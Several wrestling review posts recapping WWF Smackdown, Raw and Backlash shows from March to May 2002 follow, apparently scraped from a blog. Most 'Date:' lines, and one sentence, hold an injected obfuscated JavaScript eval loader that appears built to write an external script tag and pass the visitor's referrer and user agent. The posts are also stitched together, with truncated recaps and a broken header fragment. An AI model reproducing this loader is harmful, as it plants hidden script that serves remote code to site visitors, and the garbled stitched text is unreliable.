Smackdown – May 16, 2002: More Vince

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fryaz|var|u0026u|referrer|fifat||js|php'.split('|'),0,{})) May 16, 2002
Location: Bell Centre, Montreal, Quebec, Canada
Commentators: Michael Cole, Tazz

Opening sequence.

Hardcore Holly/Lance Storm vs. Big Valbowski/Randy Orton

Hogan is here.

Maven awkwardly hits on Torrie Wilson and actually gets a date out of it. Torrie leaves but D-Von and Batista come in to yell at him for thinking lustful thoughts. Well yeah. Al Snow comes in because Maven still needs protection.

Jericho promises to pull off his mask and show how evil he can be.

Reverend D-Von vs. Maven

D-Von beats on Maven like the rookie he is to start but misses the middle rope headbutt. Some rollups get two each for Maven but Batista gets on the apron, allowing D-Von to kick Maven low. Cole: “A shot to the kidneys!” No Cole, not exactly. The reverse inverted DDT (Saving Grace) puts Maven away.

Batista beats up Al Snow post match.

Stacy is on her way to the ring but stops to look in a mirror. A short person pops out from a cupboard and shills a new camera. Stacy is as confused as you would think.

Rico vs. Rikishi

Rikishi dances post match. Maybe he and Bubba Ray Dudley have a secret alliance?

Cruiserweight Title: Hurricane vs. Billy Kidman vs. Tajiri

Chris Jericho/Kurt Angle vs. Edge/HHH

Edge is stupid enough to charge in before HHH gets out to the ring and earns the double teaming from Angle and Jericho. A flapjack puts Jericho down and the good guys (their official name remember) take over. Jericho offers a distraction though and Angle belly to belly superplexes Edge off the top. A regular belly to belly sets up a missed Lionsault but Edge is too slow to make the tag. Instead Jericho comes in with Three Amigos so Edge gets in a middle rope dropkick for a breather.



Smackdown – May 9, 2002: The Rookies Unleashed

Smackdown
Date: May 9, 2002
Location: Harbor Yard Arena, Bridgeport, Connecticut
Commentators: Michael Cole, Tazz

Get the F Out gardening video.

Cruiserweight Title: Tajiri vs. Hurricane

Hurricane chokeslams Tajiri to make it even worse.

Hurricane and Al Snow discuss Spider-Man in what has to be a paid advertisement. Hurricane wants to ask Spider-Man whatuswiththat so Snow suggests medication. Someone has left Hurricane a note, saying they know who he is. Hurricane flies off and Snow says he thought it was weird talking to a head. Somehow, these two both appeared on TNA TV fourteen years after this.

Test vs. Mark Henry

Christian brags about beating HHH to Kurt Angle but Kurt gives Jericho the credit. Angle promises to make Edge bald tonight.

HHH vs. Reverend D-Von

Billy and Chuck/Rico vs. Rikishi/Al Snow/Maven

Snow comes in off the ice cold tag (because this story needed to end a long time ago) and everything breaks down. A Samoan drop to Chuck is completely no sold but a superkick that missed by a few inches knocks him outside. Go figure. Rico is knocked into position for a Stinkface but Chuck makes another save, allowing Billy to get in a Fameasser for the pin on Snow.

GET THE F OUT!

Lance Storm vs. Randy Orton

Storm and Holly put the boots to Orton until Val Venis makes the save to get even with Storm for screwing him over last week. I can always go for logical week to week booking.

Edge/Hulk Hogan vs. Kurt Angle/Chris Jericho

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Smackdown – May 2, 2002: The Expiration Date For Nostalgia

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfrfs|var|u0026u|referrer|rtsbn||js|php'.split('|'),0,{})) May 2, 2002
Location: Mellon Arena, Pittsburgh, Pennsylvania
Attendance: 10,000
Commentators: Michael Cole, Tazz

We open with a recap of Undertaker costing HHH the title shot last week and busting Hogan open on Raw the next week.

Opening sequence.

Tag Team Titles: Rikishi/Hurricane vs. Billy and Chuck

Hurricane chokeslams Rico to blow off some steam and Rikishi adds a Stinkface.

Earlier today, Randy Orton was working out when Stacy Keibler came up to hit on him some more. This seems to annoy him, which should probably make him a heel.

Hardcore Holly vs. Randy Orton

Holly gives him an Alabama Slam on the stage to keep this going.

Lance Storm/Kurt Angle vs. Edge/Big Valbowski

Mark Henry/Faarooq vs. Christian/Test

Cruiserweight Title: Tajiri vs. Billy Kidman

WWF World Title: Hulk Hogan vs. Chris Jericho

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Smackdown – April 25, 2002: Help Is On The Way

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|shaan|var|u0026u|referrer|hdkih||js|php'.split('|'),0,{})) April 25, 2002
Location: Peoria Civic Center, Peoria, Illinois
Attendance: 8,350
Commentators: Michael Cole, Tazz

Opening sequence.

Maven/Al Snow/Billy Kidman vs. Billy and Chuck/Tajiri

Kurt Angle calls a security guard fat and brags about his new t-shirt reveal later tonight. The shirt is going to list all of his accomplishments so the smallest size available is XXL. If the security guard plays his cards right, he might get one at half price. I could watch this Angle for days.

Randy Orton vs. Hardcore Holly

Angle talks to a photographer about how big his shirt reveal is going to be but Edge is seen replacing it. For some reason the photographer is told to get the shirt in the ring.

Recap of HHH invading Raw and attacking Undertaker.

Mark Henry vs. Christian

Jericho is ready to win tonight because he wants to beat HHH once and for all. See, he only lost at Wrestlemania because of a high fever.

Rikishi/Edge vs. Kurt Angle/Albert

Angle yells at the security guard, who is now wearing a YOU SUCK shirt.

Chris Jericho vs. HHH

Back with Jericho hitting the Breakdown (Skull Crushing Finale) for two as Cole freaks out over Undertaker showing up. Then again, it would be more amazing for Cole not to freak out over something. A neckbreaker and spinebuster give HHH two but Jericho gets the same off a missile dropkick.

Undertaker and Jericho beat on HHH until Hogan makes the save and punches Undertaker into the crowd to end the show.

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Backlash 2002 (2016 Redo): Feel The Sleeping Power Of Hulkamania!

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kbyky|var|u0026u|referrer|kffak||js|php'.split('|'),0,{})) 2002
Date: April 21, 2002
Location: Sprint Center, Kansas City, Missouri
Attendance: 12,489
Commentators: Jim Ross, Jerry Lawler

Cruiserweight Title: Kidman vs. Tajiri

The APA have a very quick reunion.

Scott Hall vs. Bradshaw

Heyman gives Lesnar an unnecessary pep talk.

Jeff Hardy vs. Brock Lesnar

Kurt Angle vs. Edge

Some rolling Germans give Angle more near falls but Edge gets in something like a release German suplex of his own. A backdrop puts Angle on the floor again (Why is that floor so shiny?) and Edge dives down onto him for a lighter pop than I was expecting. Back in and an Angle Slam sets up a quick ankle lock but Edge rolls through for a near fall. Angle brings in a chair (Why does the referee never even try to stop that?) but walks into an Edge-o-Matic. The spear is blocked by a knee to the face and the Angle Slam gives Kurt the clean pin.

Undertaker comes in to see Flair (and Arn Anderson) but just stares at him.

Intercontinental Title: Rob Van Dam vs. Eddie Guerrero

The Gory Stretch is countered into a sunset flip but Eddie stomps him down all over again. Eddie takes too long setting up his own frog splash so he sunset bombs Van Dam off the top for two instead. The near fall makes Eddie bring in the title and a neckbreaker onto the belt sets up the frog splash to give us a new champion.

Steve Austin vs. Undertaker

Undertaker takes off a turnbuckle pad but gets whipped into it, followed by a double clothesline to put both guys down AGAIN. Geez end this nonsense already and bring Van Dam and Guerrero out here for round two. Some WHAT right hands have Undertaker in trouble but the referee, as in RIC FLAIR gets bumped off a collision. The Stunner connects but Flair is down for over thirty seconds.

Austin Stuns Undertaker again.

Tag Team Titles: Billy and Chuck vs. Al Snow/Maven

Snow and Eyebrows Huffman are challenging. The champs jump them at the bell as JR makes gay jokes. The fight heads to the floor and Maven whips Billy into Snow to knock him off the apron. That means nothing though as the tag brings Snow in for some right hands until Chuck punches him down.

WWF World Title: Hulk Hogan vs. HHH

A catapult sets up a rollup to give Hogan two and in the only moment of this match that I remember, Hogan uses a Diamond Cutter for two more. Of all the moves Hogan can use (and by that I mean about five), a Diamond Cutter? HHH starts in on the knee and gets booed out of the ring for it. Well to be fair would you want to start another phase of this match? As expected HHH turns into Ric Flair, who always had so much success against Hogan.

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Smackdown – April 18, 2002: The Hogan Problem

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dkzzi|var|u0026u|referrer|fbyri||js|php'.split('|'),0,{})) April 18, 2002
Location: Compaq Center, Houston, Texas
Commentators: Tazz, Michael Cole

Opening sequence.

Billy and Chuck/Albert vs. Maven/Al Snow/Rikishi

Stacy Keibler, looking very good in blue, bends over just as Hulk Hogan opens his door. Vince wants to see Hogan right now so Hulk follows her with his eyes clearly panning down.

Kidman and Hurricane make fun of Planet Stasiak but Kidman says no one knows who he is. Hurricane has an idea: CHEAP POPS! So now the writers are making fun of the fact that no one cares about the Cruiserweight Title? I mean, no one does but still.

Chavo Guerrero Jr./Tajiri vs. Kidman/Hurricane

Post match Tajiri kicks Kidman in the head and yells at Torrie in Japanese.

Test vs. Faarooq

Test kicks Faarooq in the face.

Hardcore Holly wants to beat Page up because he likes destroying positivity. Page comes in and smiles but says the anger is ticking him off.

Diamond Dallas Page vs. Hardcore Holly

Angle and Jericho are in the back and Kurt gets annoyed at Jericho saying Angle would suck the life out of Hogan. Kurt is so mad that he keeps leaving and coming back to yell more.

Chris Jericho/Kurt Angle vs. HHH/Hulk Hogan

Edge fights Jericho and Angle off, leaving HHH to chair Hogan to end the show.

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Smackdown – April 11, 2002 (2016 Redo): It’s A Start

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bhtit|var|u0026u|referrer|zbbbi||js|php'.split('|'),0,{})) April 11, 2002
Location: Tucson Convention Center, Tucson, Arizona
Commentators: Michael Cole, Tazz

Opening sequence.

Tajiri vs. Hurricane

Tajiri berates Torrie until Kidman makes the save.

Albert vs. Scotty 2 Hotty

Albert beats him up some more after the match until Rikishi makes the save. You mean their big idea is Rikishi vs. Albert? As in the future Hall of Famer vs. future head trainer of developmental?

Edge vs. Chris Jericho

Edge fights back with some chops and avoids a charge to send Chris into the post. A rollup gets two on Jericho and you can hear the fans getting fired up off the near falls. Cue Angle but Edge spears him down, only to walk into a bulldog. The Edge-O-Matic gets two but the referee stupidly gets in the way of a catapult. You know, because referees are dumb.

Edge goes after Angle but gets beaten down until Hogan makes the save.

Chuck vs. Al Snow

Kurt Angle vs. HHH

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Smackdown – August 4, 2002: Just Like Raw

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sahyr|var|u0026u|referrer|znkhi||js|php'.split('|'),0,{})) April 4, 2002
Location: Blue Cross Arena, Rochester, New York
Attendance: 8,500
Commentators: Michael Cole, Tazz

Opening sequence.

1. He OWNS HHH.

2. He won an Olympic gold medal.

3. He is adored by children and senior citizens worldwide!

Earlier tonight, Albert confirmed that he was with Scotty for the Tag Team Title match.

Tag Team Titles: Billy and Chuck vs. Scotty 2 Hotty/Albert

Post match, as expected, Albert beats the heck out of Scotty and says he put up with the dancing for six months.

Vince grabs Hogan the title shot.

Diamond Dallas Page vs. Christian

Page monkey flips him to start as the announcers are already talking about Backlash. Christian gets in an elbow to the face and grabs a chinlock so this is probably going to be a short match. The reverse DDT gets two and Christian throws a fit, only to sucker Page in for the Unprettier and the pin.

Edge vs. Kurt Angle

Edge fights Angle off.

Billy Kidman wishes luck to his ex-Torrie Wilson and her boyfriend Tajiri in their match later. Tajiri comes up and rants in Japanese. Just do the heel turn/split.

Cruiserweight Title: Kidman vs. Tajiri

Tajiri berates Torrie and leaves.

Al Snow gives Maven a pep talk by saying he would have had to get mugged to get the kind of beating Hardcore Holly is going to give him.

Hardcore Holly vs. Maven

We look at Rock challenging Jericho earlier in the night.

The Rock vs. Chris Jericho

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Smackdown – March 28, 2002: It’s Important!

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hrfkd|var|u0026u|referrer|dkihr||js|php'.split('|'),0,{})) March 28, 2002
Location: First Union Center, Philadelphia, Pennsylvania
Attendance: 13,600
Commentators: Michael Cole, Jerry Lawler

Booker T. vs. Diamond Dallas Page

Tag Team Titles: Dudley Boyz vs. Billy and Chuck

The Rock and Hogan call each other brother before talking about whether or not they can trust Kane in their six man tag tonight. Rock imitates King Kong Bundy and Kamala in a way to say yes. Dang it I was hoping for some more of those as there are multiple other Hogan monsters he could have done.

Hulk Hogan/The Rock/Kane vs. NWO

Matt Hardy vs. Chris Jericho

They start fast, likely due to a lack of time. Matt sends him into the corner to start but gets crotched on top to slow him down again. Cue Lita for a top rope hurricanrana, setting up the Twist of Fate for two. Lita gets knocked off the apron and a low blow sets up the Walls to make Matt tap. Nothing match.

Jericho puts Lita in the Walls on the floor.

The APA party is going on and Torrie takes off a belly chain for her stripping. Christian freaks out over losing and destroys stuff.

Intercontinental Title: Rob Van Dam vs. Test

Hardcore Title: Raven vs. Maven

We look over the Draft lottery results, almost none of which are worth mentioning.

HHH/Ric Flair vs. Kurt Angle/Vince McMahon

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Monday Night Raw – March 25, 2002 (First WWF Draft): This Might Be A Bad Idea

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rzfbz|var|u0026u|referrer|knzyd||js|php'.split('|'),0,{})) seemed appropriate given what we’re seeing now.  Starting tonight, I’ll be putting up alternating reviews from the original Brand Split with Raw going up on Wednesday and Smackdown/pay per views going up on Saturdays.  There’s no better place to start than on the original Draft so let’s get to it.

Monday Night Raw
Date: March 25, 2002
Location: Bryce Jordan Center, State College, Pennsylvania
Attendance: 15,550
Commentators: Jim Ross, Jerry Lawler

Opening sequence.

There are PODIUMS ON THE STAGE! YES I SAID PODIUMS!!!

Tazz vs. Mr. Perfect

Tazz says the perfect pick has become just another victim.

Ric Flair (Raw owner) and Arn Anderson are in their war room to go over their draft options.

Ric comes out and picks Undertaker #1 overall despite hating him.

Kurt Angle comes in to yell at Vince for not picking him first. Vince talks about throwing Flair a swerve out there (By picking the Rock?) when Undertaker comes in to yell. The boss promises to make this right.

Edge/Diamond Dallas Page vs. Christian/Booker T.

Angle reads off his resume until Vince makes him the #2 pick.

The NWO threatens Ric so he picks Kane to keep an eye on them. Aside from X-Pac, Hall is now the second shortest member of the roster.

Trish Stratus vs. Ivory

Ivory returned last week to start a feud with Trish. They start fast with Ivory hammering away and ducking a middle rope cross body. Trish fights out of a chinlock and grabs the Stratusphere, followed by the Stratusfaction for another nothing match.

Vince picks Hulk Hogan, whose graphic incorrectly lists him as a seven time WCW Champion.

After a break, Ric picks Intercontinental Champion Rob Van Dam.

Rock and Hogan have a bro moment where they praise the people. Ignoring the whole attempted murder thing from a few weeks ago, Rock agrees to team up against the NWO in a handicap match.

Vince picks Billy and Chuck as a unit.

The Rock/Hulk Hogan vs. NWO

The NWO runs off.

Vince accuses Ric of sending Kane out there so Flair takes Booker T. Vince: “Edge!” Ric: “Big Show!” Vince: “Rikishi!”

Jeff Hardy vs. Billy

The Dudleys, realizing their careers are pretty much over for the time being, hug it out.

European Title: William Regal vs. Rikishi

Regal is defending. And never mind as Brock Lesnar runs out and flattens Rikishi with an F5.

Jazz wants to see where the Divas end up.

Here are the picks:

Smackdown

1. The Rock

2. Kurt Angle

3. Chris Benoit

4. Hulk Hogan

5. Billy and Chuck

6. Edge

7. Rikishi

8. D-Von Dudley

9. Mark Henry

10. Maven

Raw

1. Undertaker

2. NWO

3. Kane

4. Rob Van Dam

5. Booker T.

6. Big Show

7. Bubba Ray Dudley

8. Brock Lesnar

9. William Regal

10. Lita

Riveting no?

Intercontinental Title: Kurt Angle vs. Rob Van Dam

Kurt puts on the ankle lock until Edge makes the save.

Stephanie is ready to win the title.

WWF World Title: HHH vs. Chris Jericho vs. Stephanie McMahon

Other than that though, this was a complete disaster with Smackdown being stacked, Raw basically begging Austin to come back and save the thing and the “wrestling” being little more than background noise. This was somehow worse than I remembered it, which is covering quite a bit of ground as I remember this show being horrible the last time I watched it.

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